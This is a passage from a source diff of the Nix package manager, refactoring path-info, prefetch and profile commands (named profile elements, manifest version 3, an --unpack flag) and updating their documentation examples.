depNarInfo->fileSize; + else + throw Error("Missing .narinfo for dep %s of %s", + store.printStorePath(p), + store.printStorePath(storePath)); + } + jsonObject["closureDownloadSize"] = totalDownloadSize; + } + } + + } catch (InvalidPath &) { + jsonObject = nullptr; + } + + jsonAllObjects[printedStorePath] = std::move(jsonObject); + } + return jsonAllObjects; +} + struct CmdPathInfo : StorePathsCommand, MixJSON { @@ -63,21 +141,10 @@ struct CmdPathInfo : StorePathsCommand, MixJSON void printSize(uint64_t value) { - if (!humanReadable) { + if (humanReadable) + std::cout << fmt("\t%s", renderSize(value, true)); + else std::cout << fmt("\t%11d", value); - return; - } - - static const std::array idents{{ - ' ', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y' - }}; - size_t power = 0; - double res = value; - while (res > 1024 && power < idents.size()) { - ++power; - res /= 1024; - } - std::cout << fmt("\t%6.1f%c", res, idents.at(power)); } void run(ref store, StorePaths && storePaths) override @@ -87,10 +154,11 @@ struct CmdPathInfo : StorePathsCommand, MixJSON pathLen = std::max(pathLen, store->printStorePath(storePath).size()); if (json) { - std::cout << store->pathInfoToJSON( + std::cout << pathInfoToJSON( + *store, // FIXME: preserve order? StorePathSet(storePaths.begin(), storePaths.end()), - true, showClosureSize, SRI, AllowInvalid).dump(); + showClosureSize).dump(); } else { @@ -107,8 +175,11 @@ struct CmdPathInfo : StorePathsCommand, MixJSON if (showSize) printSize(info->narSize); - if (showClosureSize) - printSize(store->getClosureSize(info->path).first); + if (showClosureSize) { + StorePathSet closure; + store->computeFSClosure(storePath, closure, false, false); + printSize(getStoreObjectsTotalSize(*store, closure)); + } if (showSigs) { std::cout << '\t'; diff --git a/src/nix/path-info.md b/src/nix/path-info.md index 7a1714ba4..2e39225b8 100644 --- a/src/nix/path-info.md +++ b/src/nix/path-info.md @@ -13,7 +13,7 @@ R""( closure, sorted by size: ```console - # nix path-info -rS /run/current-system | sort -nk2 + # nix path-info --recursive --closure-size /run/current-system | sort -nk2 /nix/store/hl5xwp9kdrd1zkm0idm3kkby9q66z404-empty 96 /nix/store/27324qvqhnxj3rncazmxc4mwy79kz8ha-nameservers 112 … @@ -25,16 +25,16 @@ R""( readable sizes: ```console - # nix path-info -rsSh nixpkgs#rustc - /nix/store/01rrgsg5zk3cds0xgdsq40zpk6g51dz9-ncurses-6.2-dev 386.7K 69.1M - /nix/store/0q783wnvixpqz6dxjp16nw296avgczam-libpfm-4.11.0 5.9M 37.4M + # nix path-info --recursive --size --closure-size --human-readable nixpkgs#rustc + /nix/store/01rrgsg5zk3cds0xgdsq40zpk6g51dz9-ncurses-6.2-dev 386.7 KiB 69.1 MiB + /nix/store/0q783wnvixpqz6dxjp16nw296avgczam-libpfm-4.11.0 5.9 MiB 37.4 MiB … ``` * Check the existence of a path in a binary cache: ```console - # nix path-info -r /nix/store/blzxgyvrk32ki6xga10phr4sby2xf25q-geeqie-1.5.1 --store https://cache.nixos.org/ + # nix path-info --recursive /nix/store/blzxgyvrk32ki6xga10phr4sby2xf25q-geeqie-1.5.1 --store https://cache.nixos.org/ path '/nix/store/blzxgyvrk32ki6xga10phr4sby2xf25q-geeqie-1.5.1' is not valid ``` @@ -43,7 +43,7 @@ R""( command): ```console - # nix path-info --json --all | jq -r 'sort_by(.registrationTime)[-11:-1][].path' + # nix path-info --json --all | jq -r 'to_entries | sort_by(.value.registrationTime) | .[-11:-1][] | .key' ``` * Show the size of the entire Nix store: @@ -57,18 +57,20 @@ R""( size: ```console - # nix path-info --json --all -S \ - | jq 'map(select(.closureSize > 1e9)) | sort_by(.closureSize) | map([.path, .closureSize])' + # nix path-info --json --all --closure-size \ + | jq 'map_values(.closureSize | select(. < 1e9)) | to_entries | sort_by(.value)' [ …, - [ - "/nix/store/zqamz3cz4dbzfihki2mk7a63mbkxz9xq-nixos-system-machine-20.09.20201112.3090c65", - 5887562256 - ] + { + .key = "/nix/store/zqamz3cz4dbzfihki2mk7a63mbkxz9xq-nixos-system-machine-20.09.20201112.3090c65", + .value = 5887562256, + } ] ``` -* Print the path of the store derivation produced by `nixpkgs#hello`: +* Print the path of the [store derivation] produced by `nixpkgs#hello`: + + [store derivation]: @docroot@/glossary.md#gloss-store-derivation ```console # nix path-info --derivation nixpkgs#hello @@ -78,7 +80,7 @@ R""( # Description This command shows information about the store paths produced by -*installables*, or about all paths in the store if you pass `--all`. +[*installables*](./nix.md#installables), or about all paths in the store if you pass `--all`. By default, this command only prints the store paths. You can get additional information by passing flags such as `--closure-size`, diff --git a/src/nix/ping-store.cc b/src/nix/ping-store.cc deleted file mode 100644 index 3c3b7bb45..000000000 --- a/src/nix/ping-store.cc +++ /dev/null @@ -1,30 +0,0 @@ -#include "command.hh" -#include "shared.hh" -#include "store-api.hh" - -using namespace nix; - -struct CmdPingStore : StoreCommand -{ - std::string description() override - { - return "test whether a store can be accessed"; - } - - std::string doc() override - { - return - #include "ping-store.md" - ; - } - - void run(ref store) override - { - notice("Store URL: %s", store->getUri()); - store->connect(); - if (auto version = store->getVersion()) - notice("Version: %s", *version); - } -}; - -static auto rCmdPingStore = registerCommand2({"store", "ping"}); diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index ce3288dc1..db7d9e4ef 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -9,6 +9,9 @@ #include "attr-path.hh" #include "eval-inline.hh" #include "legacy.hh" +#include "posix-source-accessor.hh" +#include "misc-store-flags.hh" +#include "terminal.hh" #include @@ -27,31 +30,36 @@ std::string resolveMirrorUrl(EvalState & state, const std::string & url) Value vMirrors; // FIXME: use nixpkgs flake - state.eval(state.parseExprFromString("import ", "."), vMirrors); - state.forceAttrs(vMirrors, noPos); + state.eval(state.parseExprFromString( + "import ", + state.rootPath(CanonPath::root)), + vMirrors); + state.forceAttrs(vMirrors, noPos, "while evaluating the set of all mirrors"); - auto mirrorList = vMirrors.attrs->find(state.symbols.create(mirrorName)); - if (mirrorList == vMirrors.attrs->end()) + auto mirrorList = vMirrors.attrs()->get(state.symbols.create(mirrorName)); + if (!mirrorList) throw Error("unknown mirror name '%s'", mirrorName); - state.forceList(*mirrorList->value, noPos); + state.forceList(*mirrorList->value, noPos, "while evaluating one mirror configuration"); if (mirrorList->value->listSize() < 1) throw Error("mirror URL '%s' did not expand to anything", url); - std::string mirror(state.forceString(*mirrorList->value->listElems()[0])); + std::string mirror(state.forceString(*mirrorList->value->listElems()[0], noPos, "while evaluating the first available mirror")); return mirror + (hasSuffix(mirror, "/") ? "" : "/") + s.substr(p + 1); } std::tuple prefetchFile( - ref store, - std::string_view url, - std::optional name, - HashType hashType, - std::optional expectedHash, - bool unpack, - bool executable) + ref store, + std::string_view url, + std::optional name, + HashAlgorithm hashAlgo, + std::optional expectedHash, + bool unpack, + bool executable) { - auto ingestionMethod = unpack || executable ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; + ContentAddressMethod method = unpack || executable + ? ContentAddressMethod::Raw::NixArchive + : ContentAddressMethod::Raw::Flat; /* Figure out a name in the Nix store. */ if (!name) { @@ -66,8 +74,11 @@ std::tuple prefetchFile( /* If an expected hash is given, the file may already exist in the store. */ if (expectedHash) { - hashType = expectedHash->type; - storePath = store->makeFixedOutputPath(ingestionMethod, *expectedHash, *name); + hashAlgo = expectedHash->algo; + storePath = store->makeFixedOutputPathFromCA(*name, ContentAddressWithReferences::fromParts( + method, + *expectedHash, + {})); if (store->isValidPath(*storePath)) hash = expectedHash; else @@ -77,7 +88,7 @@ std::tuple prefetchFile( if (!storePath) { AutoDelete tmpDir(createTempDir(), true); - Path tmpFile = (Path) tmpDir + "/tmp"; + std::filesystem::path tmpFile = tmpDir.path() / "tmp"; /* Download the file. */ { @@ -85,7 +96,7 @@ std::tuple prefetchFile( if (executable) mode = 0700; - AutoCloseFD fd = open(tmpFile.c_str(), O_WRONLY | O_CREAT | O_EXCL, mode); + AutoCloseFD fd = toDescriptor(open(tmpFile.string().c_str(), O_WRONLY | O_CREAT | O_EXCL, mode)); if (!fd) throw SysError("creating temporary file '%s'", tmpFile); FdSink sink(fd.get()); @@ -99,26 +110,30 @@ std::tuple prefetchFile( if (unpack) { Activity act(*logger, lvlChatty, actUnknown, fmt("unpacking '%s'", url)); - Path unpacked = (Path) tmpDir + "/unpacked"; + auto unpacked = (tmpDir.path() / "unpacked").string(); createDirs(unpacked); - unpackTarfile(tmpFile, unpacked); + unpackTarfile(tmpFile.string(), unpacked); + auto entries = std::filesystem::directory_iterator{unpacked}; /* If the archive unpacks to a single file/directory, then use that as the top-level. */ - auto entries = readDirectory(unpacked); - if (entries.size() == 1) - tmpFile = unpacked + "/" + entries[0].name; - else + tmpFile = entries->path(); + auto fileCount = std::distance(entries, std::filesystem::directory_iterator{}); + if (fileCount != 1) { + /* otherwise, use the directory itself */ tmpFile = unpacked; + } } Activity act(*logger, lvlChatty, actUnknown, fmt("adding '%s' to the store", url)); - auto info = store->addToStoreSlow(*name, tmpFile, ingestionMethod, hashType, expectedHash); + auto info = store->addToStoreSlow( + *name, PosixSourceAccessor::createAtRoot(tmpFile), + method, hashAlgo, {}, expectedHash); storePath = info.path; assert(info.ca); - hash = getContentAddressHash(*info.ca); + hash = info.ca->hash; } return {storePath.value(), hash.value()}; @@ -127,7 +142,7 @@ std::tuple prefetchFile( static int main_nix_prefetch_url(int argc, char * * argv) { { - HashType ht = htSHA256; + HashAlgorithm ha = HashAlgorithm::SHA256; std::vector args; bool printPath = getEnv("PRINT_PATH") == "1"; bool fromExpr = false; @@ -148,7 +163,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) printVersion("nix-prefetch-url"); else if (*arg == "--type") { auto s = getArg(*arg, arg, end); - ht = parseHashType(s); + ha = parseHashAlgo(s); } else if (*arg == "--print-path") printPath = true; @@ -176,11 +191,11 @@ static int main_nix_prefetch_url(int argc, char * * argv) Finally f([]() { stopProgressBar(); }); - if (isatty(STDERR_FILENO)) + if (isTTY()) startProgressBar(); auto store = openStore(); - auto state = std::make_unique(myArgs.searchPath, store); + auto state = std::make_unique(myArgs.lookupPath, store, fetchSettings, evalSettings); Bindings & autoArgs = *myArgs.getAutoArgs(*state); @@ -192,51 +207,53 @@ static int main_nix_prefetch_url(int argc, char * * argv) throw UsageError("you must specify a URL"); url = args[0]; } else { - Path path = resolveExprPath(lookupFileArg(*state, args.empty() ? "." : args[0])); Value vRoot; - state->evalFile(path, vRoot); + state->evalFile( + resolveExprPath( + lookupFileArg(*state, args.empty() ? "." : args[0])), + vRoot); Value & v(*findAlongAttrPath(*state, attrPath, autoArgs, vRoot).first); - state->forceAttrs(v, noPos); + state->forceAttrs(v, noPos, "while evaluating the source attribute to prefetch"); /* Extract the URL. */ - auto * attr = v.attrs->get(state->symbols.create("urls")); + auto * attr = v.attrs()->get(state->symbols.create("urls")); if (!attr) throw Error("attribute 'urls' missing"); - state->forceList(*attr->value, noPos); + state->forceList(*attr->value, noPos, "while evaluating the urls to prefetch"); if (attr->value->listSize() < 1) throw Error("'urls' list is empty"); - url = state->forceString(*attr->value->listElems()[0]); + url = state->forceString(*attr->value->listElems()[0], noPos, "while evaluating the first url from the urls list"); /* Extract the hash mode. */ - auto attr2 = v.attrs->get(state->symbols.create("outputHashMode")); + auto attr2 = v.attrs()->get(state->symbols.create("outputHashMode")); if (!attr2) printInfo("warning: this does not look like a fetchurl call"); else - unpack = state->forceString(*attr2->value) == "recursive"; + unpack = state->forceString(*attr2->value, noPos, "while evaluating the outputHashMode of the source to prefetch") == "recursive"; /* Extract the name. */ if (!name) { - auto attr3 = v.attrs->get(state->symbols.create("name")); + auto attr3 = v.attrs()->get(state->symbols.create("name")); if (!attr3) - name = state->forceString(*attr3->value); + name = state->forceString(*attr3->value, noPos, "while evaluating the name of the source to prefetch"); } } std::optional expectedHash; if (args.size() == 2) - expectedHash = Hash::parseAny(args[1], ht); + expectedHash = Hash::parseAny(args[1], ha); auto [storePath, hash] = prefetchFile( - store, resolveMirrorUrl(*state, url), name, ht, expectedHash, unpack, executable); + store, resolveMirrorUrl(*state, url), name, ha, expectedHash, unpack, executable); stopProgressBar(); if (!printPath) printInfo("path is '%s'", store->printStorePath(storePath)); - std::cout << printHash16or32(hash) << std::endl; + logger->cout(printHash16or32(hash)); if (printPath) - std::cout << store->printStorePath(storePath) << std::endl; + logger->cout(store->printStorePath(storePath)); return 0; } @@ -248,8 +265,9 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON { std::string url; bool executable = false; + bool unpack = false; std::optional name; - HashType hashType = htSHA256; + HashAlgorithm hashAlgo = HashAlgorithm::SHA256; std::optional expectedHash; CmdStorePrefetchFile() @@ -266,11 +284,11 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON .description = "The expected hash of the file.", .labels = {"hash"}, .handler = {[&](std::string s) { - expectedHash = Hash::parseAny(s, hashType); + expectedHash = Hash::parseAny(s, hashAlgo); }} }); - addFlag(Flag::mkHashTypeFlag("hash-type", &hashType)); + addFlag(flag::hashAlgo("hash-type", &hashAlgo)); addFlag({ .longName = "executable", @@ -280,6 +298,14 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON .handler = {&executable, true}, }); + addFlag({ + .longName = "unpack", + .description = + "Unpack the archive (which must be a tarball or zip file) and add " + "the result to the Nix store.", + .handler = {&unpack, true}, + }); + expectArg("url", &url); } @@ -296,18 +322,18 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON } void run(ref store) override { - auto [storePath, hash] = prefetchFile(store, url, name, hashType, expectedHash, false, executable); + auto [storePath, hash] = prefetchFile(store, url, name, hashAlgo, expectedHash, unpack, executable); if (json) { auto res = nlohmann::json::object(); res["storePath"] = store->printStorePath(storePath); - res["hash"] = hash.to_string(SRI, true); + res["hash"] = hash.to_string(HashFormat::SRI, true); logger->cout(res.dump()); } else { notice("Downloaded '%s' to '%s' (hash '%s').", url, store->printStorePath(storePath), - hash.to_string(SRI, true)); + hash.to_string(HashFormat::SRI, true)); } } }; diff --git a/src/nix/print-dev-env.md b/src/nix/print-dev-env.md index 2aad491de..a8ce9d36a 100644 --- a/src/nix/print-dev-env.md +++ b/src/nix/print-dev-env.md @@ -40,7 +40,7 @@ R""( This command prints a shell script that can be sourced by `bash` and that sets the variables and shell functions defined by the build -process of *installable*. This allows you to get a similar build +process of [*installable*](./nix.md#installables). This allows you to get a similar build environment in your current shell rather than in a subshell (as with `nix develop`). diff --git a/src/nix/profile-install.md b/src/nix/profile-install.md index aed414963..4c0f82c09 100644 --- a/src/nix/profile-install.md +++ b/src/nix/profile-install.md @@ -29,6 +29,6 @@ R""( # Description -This command adds *installables* to a Nix profile. +This command adds [*installables*](./nix.md#installables) to a Nix profile. )"" diff --git a/src/nix/profile-list.md b/src/nix/profile-list.md index fa786162f..9811b9ec9 100644 --- a/src/nix/profile-list.md +++ b/src/nix/profile-list.md @@ -6,26 +6,52 @@ R""( ```console # nix profile list - 0 flake:nixpkgs#legacyPackages.x86_64-linux.spotify github:NixOS/nixpkgs/c23db78bbd474c4d0c5c3c551877523b4a50db06#legacyPackages.x86_64-linux.spotify /nix/store/akpdsid105phbbvknjsdh7hl4v3fhjkr-spotify-1.1.46.916.g416cacf1 - 1 flake:nixpkgs#legacyPackages.x86_64-linux.zoom-us github:NixOS/nixpkgs/c23db78bbd474c4d0c5c3c551877523b4a50db06#legacyPackages.x86_64-linux.zoom-us /nix/store/89pmjmbih5qpi7accgacd17ybpgp4xfm-zoom-us-5.4.53350.1027 - 2 flake:blender-bin#packages.x86_64-linux.default github:edolstra/nix-warez/d09d7eea893dcb162e89bc67f6dc1ced14abfc27?dir=blender#packages.x86_64-linux.default /nix/store/zfgralhqjnam662kqsgq6isjw8lhrflz-blender-bin-2.91.0 + Name: gdb + Flake attribute: legacyPackages.x86_64-linux.gdb + Original flake URL: flake:nixpkgs + Locked flake URL: github:NixOS/nixpkgs/7b38b03d76ab71bdc8dc325e3f6338d984cc35ca + Store paths: /nix/store/indzcw5wvlhx6vwk7k4iq29q15chvr3d-gdb-11.1 + + Name: blender-bin + Flake attribute: packages.x86_64-linux.default + Original flake URL: flake:blender-bin + Locked flake URL: github:edolstra/nix-warez/91f2ffee657bf834e4475865ae336e2379282d34?dir=blender + Store paths: /nix/store/i798sxl3j40wpdi1rgf391id1b5klw7g-blender-bin-3.1.2 ``` + Note that you can unambiguously rebuild a package from a profile + through its locked flake URL and flake attribute, e.g. + + ```console + # nix build github:edolstra/nix-warez/91f2ffee657bf834e4475865ae336e2379282d34?dir=blender#packages.x86_64-linux.default + ``` + + will build the package `blender-bin` shown above. + # Description This command shows what packages are currently installed in a -profile. The output consists of one line per package, with the -following fields: +profile. For each installed package, it shows the following +information: -* An integer that can be used to unambiguously identify the package in - invocations of `nix profile remove` and `nix profile upgrade`. +* `Name`: A unique name used to unambiguously identify the + package in invocations of `nix profile remove` and `nix profile + upgrade`. -* The original ("unlocked") flake reference and output attribute path - used at installation time. +* `Index`: An integer that can be used to unambiguously identify the + package in invocations of `nix profile remove` and `nix profile upgrade`. + (*Deprecated, will be removed in a future version in favor of `Name`.*) -* The locked flake reference to which the unlocked flake reference was - resolved. +* `Flake attribute`: The flake output attribute path that provides the + package (e.g. `packages.x86_64-linux.hello`). -* The store path(s) of the package. +* `Original flake URL`: The original ("unlocked") flake reference + specified by the user when the package was first installed via `nix + profile install`. + +* `Locked flake URL`: The locked flake reference to which the original + flake reference was resolved. + +* `Store paths`: The store path(s) of the package. )"" diff --git a/src/nix/profile-remove.md b/src/nix/profile-remove.md index ba85441d8..e7e5e0dfb 100644 --- a/src/nix/profile-remove.md +++ b/src/nix/profile-remove.md @@ -2,24 +2,25 @@ R""( # Examples -* Remove a package by position: +* Remove a package by name: ```console - # nix profile remove 3 - ``` - -* Remove a package by attribute path: - - ```console - # nix profile remove packages.x86_64-linux.hello + # nix profile remove hello ``` * Remove all packages: ```console - # nix profile remove '.*' + # nix profile remove --all ``` +* Remove packages by regular expression: + + ```console + # nix profile remove --regex '.*vim.*' + ``` + + * Remove a package by store path: ```console diff --git a/src/nix/profile-upgrade.md b/src/nix/profile-upgrade.md index 39cca428b..da7a668db 100644 --- a/src/nix/profile-upgrade.md +++ b/src/nix/profile-upgrade.md @@ -6,22 +6,19 @@ R""( reference: ```console - # nix profile upgrade '.*' + # nix profile upgrade --all ``` -* Upgrade a specific package: +* Upgrade a specific package by name: ```console - # nix profile upgrade packages.x86_64-linux.hello + # nix profile upgrade hello ``` -* Upgrade a specific profile element by number: +* Upgrade all packages that include 'vim' in their name: ```console - # nix profile list - 0 flake:nixpkgs#legacyPackages.x86_64-linux.spotify … - - # nix profile upgrade 0 + # nix profile upgrade --regex '.*vim.*' ``` # Description diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 11910523d..324fd6330 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -1,4 +1,5 @@ #include "command.hh" +#include "installable-flake.hh" #include "common-args.hh" #include "shared.hh" #include "store-api.hh" @@ -9,44 +10,71 @@ #include "../nix-env/user-env.hh" #include "profiles.hh" #include "names.hh" +#include "url.hh" +#include "flake/url-name.hh" #include #include #include +#include "strings.hh" + using namespace nix; struct ProfileElementSource { FlakeRef originalRef; // FIXME: record original attrpath. - FlakeRef resolvedRef; + FlakeRef lockedRef; std::string attrPath; - OutputsSpec outputs; + ExtendedOutputsSpec outputs; - bool operator < (const ProfileElementSource & other) const + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + //auto operator <=> (const ProfileElementSource & other) const + auto operator < (const ProfileElementSource & other) const { return std::tuple(originalRef.to_string(), attrPath, outputs) < std::tuple(other.originalRef.to_string(), other.attrPath, other.outputs); } + + std::string to_string() const + { + return fmt("%s#%s%s", originalRef, attrPath, outputs.to_string()); + } }; +const int defaultPriority = 5; + struct ProfileElement { StorePathSet storePaths; std::optional source; bool active = true; - int priority = 5; + int priority = defaultPriority; - std::string describe() const + std::string identifier() const { if (source) - return fmt("%s#%s%s", source->originalRef, source->attrPath, printOutputsSpec(source->outputs)); + return source->to_string(); StringSet names; for (auto & path : storePaths) names.insert(DrvName(path.name()).name); - return concatStringsSep(", ", names); + return dropEmptyInitThenConcatStringsSep(", ", names); + } + + /** + * Return a string representing an installable corresponding to the current + * element, either a flakeref or a plain store path + */ + std::set toInstallables(Store & store) + { + if (source) + return {source->to_string()}; + StringSet rawPaths; + for (auto & path : storePaths) + rawPaths.insert(store.printStorePath(path)); + return rawPaths; } std::string versions() const @@ -57,11 +85,6 @@ struct ProfileElement return showVersions(versions); } - bool operator < (const ProfileElement & other) const - { - return std::tuple(describe(), storePaths) < std::tuple(other.describe(), other.storePaths); - } - void updateStorePaths( ref evalStore, ref store, @@ -82,18 +105,29 @@ struct ProfileElement } }; +std::string getNameFromElement(const ProfileElement & element) +{ + std::optional result = std::nullopt; + if (element.source) { + result = getNameFromURL(parseURL(element.source->to_string())); + } + return result.value_or(element.identifier()); +} + struct ProfileManifest { - std::vector elements; + using ProfileElementName = std::string; + + std::map elements; ProfileManifest() { } - ProfileManifest(EvalState & state, const Path & profile) + ProfileManifest(EvalState & state, const std::filesystem::path & profile) { - auto manifestPath = profile + "/manifest.json"; + auto manifestPath = profile / "manifest.json"; - if (pathExists(manifestPath)) { - auto json = nlohmann::json::parse(readFile(manifestPath)); + if (std::filesystem::exists(manifestPath)) { + auto json = nlohmann::json::parse(readFile(manifestPath.string())); auto version = json.value("version", 0); std::string sUrl; @@ -104,6 +138,7 @@ struct ProfileManifest sOriginalUrl = "originalUri"; break; case 2: + case 3: sUrl = "url"; sOriginalUrl = "originalUrl"; break; @@ -111,7 +146,9 @@ struct ProfileManifest throw Error("profile manifest '%s' has unsupported version %d", manifestPath, version); } - for (auto & e : json["elements"]) { + auto elems = json["elements"]; + for (auto & elem : elems.items()) { + auto & e = elem.value(); ProfileElement element; for (auto & p : e["storePaths"]) element.storePaths.insert(state.store->parseStorePath((std::string) p)); @@ -121,35 +158,58 @@ struct ProfileManifest } if (e.value(sUrl, "") != "") { element.source = ProfileElementSource { - parseFlakeRef(e[sOriginalUrl]), - parseFlakeRef(e[sUrl]), + parseFlakeRef(fetchSettings, e[sOriginalUrl]), + parseFlakeRef(fetchSettings, e[sUrl]), e["attrPath"], - e["outputs"].get() + e["outputs"].get() }; } - elements.emplace_back(std::move(element)); + + std::string name = + elems.is_object() + ? elem.key() + : element.source + ? getNameFromURL(parseURL(element.source->to_string())).value_or(element.identifier()) + : element.identifier(); + + addElement(name, std::move(element)); } } - else if (pathExists(profile + "/manifest.nix")) { + else if (std::filesystem::exists(profile / "manifest.nix")) { // FIXME: needed because of pure mode; ugly. - state.allowPath(state.store->followLinksToStore(profile)); - state.allowPath(state.store->followLinksToStore(profile + "/manifest.nix")); + state.allowPath(state.store->followLinksToStore(profile.string())); + state.allowPath(state.store->followLinksToStore((profile / "manifest.nix").string())); - auto drvInfos = queryInstalled(state, state.store->followLinksToStore(profile)); + auto packageInfos = queryInstalled(state, state.store->followLinksToStore(profile.string())); - for (auto & drvInfo : drvInfos) { + for (auto & packageInfo : packageInfos) { ProfileElement element; - element.storePaths = {drvInfo.queryOutPath()}; - elements.emplace_back(std::move(element)); + element.storePaths = {packageInfo.queryOutPath()}; + addElement(std::move(element)); } } } - std::string toJSON(Store & store) const + void addElement(std::string_view nameCandidate, ProfileElement element) { - auto array = nlohmann::json::array(); - for (auto & element : elements) { + std::string finalName(nameCandidate); + for (int i = 1; elements.contains(finalName); ++i) + finalName = nameCandidate + "-" + std::to_string(i); + + elements.insert_or_assign(finalName, std::move(element)); + } + + void addElement(ProfileElement element) + { + auto name = getNameFromElement(element); + addElement(name, std::move(element)); + } + + nlohmann::json toJSON(Store & store) const + { + auto es = nlohmann::json::object(); + for (auto & [name, element] : elements) { auto paths = nlohmann::json::array(); for (auto & path : element.storePaths) paths.push_back(store.printStorePath(path)); @@ -159,16 +219,18 @@ struct ProfileManifest obj["priority"] = element.priority; if (element.source) { obj["originalUrl"] = element.source->originalRef.to_string(); - obj["url"] = element.source->resolvedRef.to_string(); + obj["url"] = element.source->lockedRef.to_string(); obj["attrPath"] = element.source->attrPath; obj["outputs"] = element.source->outputs; } - array.push_back(obj); + es[name] = obj; } nlohmann::json json; - json["version"] = 2; - json["elements"] = array; - return json.dump(); + // Only upgrade with great care as changing it can break fresh installs + // like in https://github.com/NixOS/nix/issues/10109 + json["version"] = 3; + json["elements"] = es; + return json; } StorePath build(ref store) @@ -178,7 +240,7 @@ struct ProfileManifest StorePathSet references; Packages pkgs; - for (auto & element : elements) { + for (auto & [name, element] : elements) { for (auto & path : element.storePaths) { if (element.active) pkgs.emplace_back(store->printStorePath(path), true, element.priority); @@ -188,21 +250,29 @@ struct ProfileManifest buildProfile(tempDir, std::move(pkgs)); - writeFile(tempDir + "/manifest.json", toJSON(*store)); + writeFile(tempDir + "/manifest.json", toJSON(*store).dump()); /* Add the symlink tree to the store. */ StringSink sink; dumpPath(tempDir, sink); - auto narHash = hashString(htSHA256, sink.s); + auto narHash = hashString(HashAlgorithm::SHA256, sink.s); ValidPathInfo info { - store->makeFixedOutputPath(FileIngestionMethod::Recursive, narHash, "profile", references), + *store, + "profile", + FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = narHash, + .references = { + .others = std::move(references), + // profiles never refer to themselves + .self = false, + }, + }, narHash, }; - info.references = std::move(references); info.narSize = sink.s.size(); - info.ca = FixedOutputHash { .method = FileIngestionMethod::Recursive, .hash = info.narHash }; StringSource source(sink.s); store->addToStore(info, source); @@ -212,33 +282,27 @@ struct ProfileManifest static void printDiff(const ProfileManifest & prev, const ProfileManifest & cur, std::string_view indent) { - auto prevElems = prev.elements; - std::sort(prevElems.begin(), prevElems.end()); - - auto curElems = cur.elements; - std::sort(curElems.begin(), curElems.end()); - - auto i = prevElems.begin(); - auto j = curElems.begin(); + auto i = prev.elements.begin(); + auto j = cur.elements.begin(); bool changes = false; - while (i != prevElems.end() || j != curElems.end()) { - if (j != curElems.end() && (i == prevElems.end() || i->describe() > j->describe())) { - std::cout << fmt("%s%s: ∅ -> %s\n", indent, j->describe(), j->versions()); + while (i != prev.elements.end() || j != cur.elements.end()) { + if (j != cur.elements.end() && (i == prev.elements.end() || i->first > j->first)) { + logger->cout("%s%s: ∅ -> %s", indent, j->second.identifier(), j->second.versions()); changes = true; ++j; } - else if (i != prevElems.end() && (j == curElems.end() || i->describe() < j->describe())) { - std::cout << fmt("%s%s: %s -> ∅\n", indent, i->describe(), i->versions()); + else if (i != prev.elements.end() && (j == cur.elements.end() || i->first < j->first)) { + logger->cout("%s%s: %s -> ∅", indent, i->second.identifier(), i->second.versions()); changes = true; ++i; } else { - auto v1 = i->versions(); - auto v2 = j->versions(); + auto v1 = i->second.versions(); + auto v2 = j->second.versions(); if (v1 != v2) { - std::cout << fmt("%s%s: %s -> %s\n", indent, i->describe(), v1, v2); + logger->cout("%s%s: %s -> %s", indent, i->second.identifier(), v1, v2); changes = true; } ++i; @@ -247,17 +311,30 @@ struct ProfileManifest } if (!changes) - std::cout << fmt("%sNo changes.\n", indent); + logger->cout("%sNo changes.", indent); } }; -static std::map +static std::map>> builtPathsPerInstallable( - const std::vector, BuiltPathWithResult>> & builtPaths) + const std::vector, BuiltPathWithResult>> & builtPaths) { - std::map res; - for (auto & [installable, builtPath] : builtPaths) - res[installable.get()].push_back(builtPath.path); + std::map>> res; + for (auto & [installable, builtPath] : builtPaths) { + auto & r = res.insert({ + &*installable, + { + {}, + make_ref(), + } + }).first->second; + /* Note that there could be conflicting info + (e.g. meta.priority fields) if the installable returned + multiple derivations. So pick one arbitrarily. FIXME: + print a warning? */ + r.first.push_back(builtPath.path); + r.second = builtPath.info; + } return res; } @@ -286,7 +363,7 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile ; } - void run(ref store) override + void run(ref store, Installables && installables) override { ProfileManifest manifest(*getEvalState(), *profile); @@ -297,84 +374,260 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile for (auto & installable : installables) { ProfileElement element; + auto iter = builtPaths.find(&*installable); + if (iter == builtPaths.end()) continue; + auto & [res, info] = iter->second; - - if (auto installable2 = std::dynamic_pointer_cast(installable)) { - // FIXME: make build() return this? - auto [attrPath, resolvedRef, drv] = installable2->toDerivation(); + if (auto * info2 = dynamic_cast(&*info)) { element.source = ProfileElementSource { - installable2->flakeRef, - resolvedRef, - attrPath, - installable2->outputsSpec + .originalRef = info2->flake.originalRef, + .lockedRef = info2->flake.lockedRef, + .attrPath = info2->value.attrPath, + .outputs = info2->value.extendedOutputsSpec, }; + } - if(drv.priority) { - element.priority = *drv.priority; + // If --priority was specified we want to override the + // priority of the installable. + element.priority = + priority + ? *priority + : ({ + auto * info2 = dynamic_cast(&*info); + info2 + ? info2->value.priority.value_or(defaultPriority) + : defaultPriority; + }); + + element.updateStorePaths(getEvalStore(), store, res); + + auto elementName = getNameFromElement(element); + + // Check if the element already exists. + auto existingPair = manifest.elements.find(elementName); + if (existingPair != manifest.elements.end()) { + auto existingElement = existingPair->second; + auto existingSource = existingElement.source; + auto elementSource = element.source; + if (existingSource + && elementSource + && existingElement.priority == element.priority + && existingSource->originalRef == elementSource->originalRef + && existingSource->attrPath == elementSource->attrPath + ) { + warn("'%s' is already installed", elementName); + continue; } } - if(priority) { // if --priority was specified we want to override the priority of the installable - element.priority = *priority; - }; - - element.updateStorePaths(getEvalStore(), store, builtPaths[installable.get()]); - - manifest.elements.push_back(std::move(element)); + manifest.addElement(elementName, std::move(element)); } - updateProfile(manifest.build(store)); + try { + updateProfile(manifest.build(store)); + } catch (BuildEnvFileConflictError & conflictError) { + // FIXME use C++20 std::ranges once macOS has it + // See 